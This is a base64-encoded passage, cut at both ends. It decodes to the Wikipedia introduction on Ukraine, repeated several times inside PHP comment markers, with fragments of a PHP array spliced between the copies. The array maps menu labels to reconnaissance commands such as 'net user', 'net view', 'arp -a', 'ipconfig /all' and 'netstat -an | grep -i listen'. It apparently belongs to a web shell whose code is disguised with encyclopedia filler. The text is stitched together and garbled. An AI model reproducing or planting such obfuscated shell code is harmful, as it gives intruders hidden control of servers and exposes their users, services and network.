bnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KICAgIAkiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCgkJIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgoJKTsKZWxzZQoJJGFsaWFzZXMgPSBhcnJheSgKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCiAgCQkiTGlzdCBkaXIiID0+ICJscyAtbGEiLAoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogIAkJInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCgkJIkZpbmQiID0+ICIiLAovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXR